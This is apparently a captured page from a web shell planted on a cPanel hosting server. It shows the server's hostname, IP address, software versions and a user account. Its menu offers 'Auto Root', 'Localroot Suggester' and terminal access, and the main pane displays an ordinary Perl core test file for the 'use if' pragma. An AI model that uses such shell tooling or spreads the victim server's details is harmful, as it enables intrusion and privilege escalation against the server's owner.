Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
if /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
if.t
1.05
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl use strict; use Test::More tests => 6; my $v_plus = $] + 1; my $v_minus = $] - 1; unless (eval 'use open ":std"; 1') { # pretend that open.pm is present $INC{'open.pm'} = 'open.pm'; eval 'sub open::foo{}'; # Just in case... } no strict; is( eval "use if ($v_minus > \$]), strict => 'subs'; \${'f'} = 12", 12, '"use if" with a false condition, fake pragma'); is( eval "use if ($v_minus > \$]), strict => 'refs'; \${'f'} = 12", 12, '"use if" with a false condition and a pragma'); is( eval "use if ($v_plus > \$]), strict => 'subs'; \${'f'} = 12", 12, '"use if" with a true condition, fake pragma'); is( eval "use if ($v_plus > \$]), strict => 'refs'; \${'f'} = 12", undef, '"use if" with a true condition and a pragma'); like( $@, qr/while "strict refs" in use/, 'expected error message'), # Old version had problems with the module name 'open', which is a keyword too # Use 'open' =>, since pre-5.6.0 could interpret differently is( (eval "use if ($v_plus > \$]), 'open' => IN => ':crlf'; 12" || 0), 12, '"use if" with open');